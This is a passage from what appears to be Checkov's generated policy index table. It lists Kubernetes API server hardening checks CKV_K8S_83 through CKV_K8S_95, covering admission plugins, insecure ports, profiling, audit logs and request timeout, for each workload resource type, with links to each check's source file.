[ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 456 | CKV_K8S_83 | resource | PodTemplate | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 457 | CKV_K8S_83 | resource | ReplicaSet | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 458 | CKV_K8S_83 | resource | ReplicationController | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 459 | CKV_K8S_83 | resource | StatefulSet | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 460 | CKV_K8S_84 | resource | CronJob | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 461 | CKV_K8S_84 | resource | DaemonSet | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 462 | CKV_K8S_84 | resource | Deployment | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 463 | CKV_K8S_84 | resource | DeploymentConfig | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 464 | CKV_K8S_84 | resource | Job | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 465 | CKV_K8S_84 | resource | Pod | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 466 | CKV_K8S_84 | resource | PodTemplate | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 467 | CKV_K8S_84 | resource | ReplicaSet | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 468 | CKV_K8S_84 | resource | ReplicationController | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 469 | CKV_K8S_84 | resource | StatefulSet | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 470 | CKV_K8S_85 | resource | CronJob | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 471 | CKV_K8S_85 | resource | DaemonSet | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 472 | CKV_K8S_85 | resource | Deployment | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 473 | CKV_K8S_85 | resource | DeploymentConfig | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 474 | CKV_K8S_85 | resource | Job | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 475 | CKV_K8S_85 | resource | Pod | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 476 | CKV_K8S_85 | resource | PodTemplate | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 477 | CKV_K8S_85 | resource | ReplicaSet | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 478 | CKV_K8S_85 | resource | ReplicationController | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 479 | CKV_K8S_85 | resource | StatefulSet | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 480 | CKV_K8S_86 | resource | CronJob | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 481 | CKV_K8S_86 | resource | DaemonSet | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 482 | CKV_K8S_86 | resource | Deployment | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 483 | CKV_K8S_86 | resource | DeploymentConfig | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 484 | CKV_K8S_86 | resource | Job | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 485 | CKV_K8S_86 | resource | Pod | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 486 | CKV_K8S_86 | resource | PodTemplate | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 487 | CKV_K8S_86 | resource | ReplicaSet | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 488 | CKV_K8S_86 | resource | ReplicationController | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 489 | CKV_K8S_86 | resource | StatefulSet | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 490 | CKV_K8S_88 | resource | CronJob | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 491 | CKV_K8S_88 | resource | DaemonSet | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 492 | CKV_K8S_88 | resource | Deployment | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 493 | CKV_K8S_88 | resource | DeploymentConfig | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 494 | CKV_K8S_88 | resource | Job | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 495 | CKV_K8S_88 | resource | Pod | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 496 | CKV_K8S_88 | resource | PodTemplate | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 497 | CKV_K8S_88 | resource | ReplicaSet | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 498 | CKV_K8S_88 | resource | ReplicationController | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 499 | CKV_K8S_88 | resource | StatefulSet | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 500 | CKV_K8S_89 | resource | CronJob | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 501 | CKV_K8S_89 | resource | DaemonSet | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 502 | CKV_K8S_89 | resource | Deployment | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 503 | CKV_K8S_89 | resource | DeploymentConfig | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 504 | CKV_K8S_89 | resource | Job | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 505 | CKV_K8S_89 | resource | Pod | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 506 | CKV_K8S_89 | resource | PodTemplate | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 507 | CKV_K8S_89 | resource | ReplicaSet | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 508 | CKV_K8S_89 | resource | ReplicationController | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 509 | CKV_K8S_89 | resource | StatefulSet | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 510 | CKV_K8S_90 | resource | CronJob | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 511 | CKV_K8S_90 | resource | DaemonSet | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 512 | CKV_K8S_90 | resource | Deployment | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 513 | CKV_K8S_90 | resource | DeploymentConfig | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 514 | CKV_K8S_90 | resource | Job | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 515 | CKV_K8S_90 | resource | Pod | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 516 | CKV_K8S_90 | resource | PodTemplate | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 517 | CKV_K8S_90 | resource | ReplicaSet | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 518 | CKV_K8S_90 | resource | ReplicationController | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 519 | CKV_K8S_90 | resource | StatefulSet | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 520 | CKV_K8S_91 | resource | CronJob | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 521 | CKV_K8S_91 | resource | DaemonSet | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 522 | CKV_K8S_91 | resource | Deployment | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 523 | CKV_K8S_91 | resource | DeploymentConfig | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 524 | CKV_K8S_91 | resource | Job | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 525 | CKV_K8S_91 | resource | Pod | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 526 | CKV_K8S_91 | resource | PodTemplate | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 527 | CKV_K8S_91 | resource | ReplicaSet | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 528 | CKV_K8S_91 | resource | ReplicationController | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 529 | CKV_K8S_91 | resource | StatefulSet | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 530 | CKV_K8S_92 | resource | CronJob | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 531 | CKV_K8S_92 | resource | DaemonSet | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 532 | CKV_K8S_92 | resource | Deployment | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 533 | CKV_K8S_92 | resource | DeploymentConfig | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 534 | CKV_K8S_92 | resource | Job | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 535 | CKV_K8S_92 | resource | Pod | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 536 | CKV_K8S_92 | resource | PodTemplate | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 537 | CKV_K8S_92 | resource | ReplicaSet | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 538 | CKV_K8S_92 | resource | ReplicationController | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 539 | CKV_K8S_92 | resource | StatefulSet | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 540 | CKV_K8S_93 | resource | CronJob | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 541 | CKV_K8S_93 | resource | DaemonSet | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 542 | CKV_K8S_93 | resource | Deployment | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 543 | CKV_K8S_93 | resource | DeploymentConfig | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 544 | CKV_K8S_93 | resource | Job | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 545 | CKV_K8S_93 | resource | Pod | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 546 | CKV_K8S_93 | resource | PodTemplate | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 547 | CKV_K8S_93 | resource | ReplicaSet | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 548 | CKV_K8S_93 | resource | ReplicationController | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 549 | CKV_K8S_93 | resource | StatefulSet | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 550 | CKV_K8S_94 | resource | CronJob | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 551 | CKV_K8S_94 | resource | DaemonSet | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 552 | CKV_K8S_94 | resource | Deployment | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 553 | CKV_K8S_94 | resource | DeploymentConfig | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 554 | CKV_K8S_94 | resource | Job | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 555 | CKV_K8S_94 | resource | Pod | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 556 | CKV_K8S_94 | resource | PodTemplate | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 557 | CKV_K8S_94 | resource | ReplicaSet | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 558 | CKV_K8S_94 | resource | ReplicationController | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 559 | CKV_K8S_94 | resource | StatefulSet | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 560 | CKV_K8S_95 | resource | CronJob | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 561 | CKV_K8S_95 | resource | DaemonSet | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 562 | CKV_K8S_95 | resource | Deployment | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 563 | CKV_K8S_95 | resource | DeploymentConfig | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 564 | CKV_K8S_95 | resource | Job | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 565 | CKV_K8S_95 | resource | Pod | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 566 | CKV_K8S_95 | resource | PodTemplate | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | 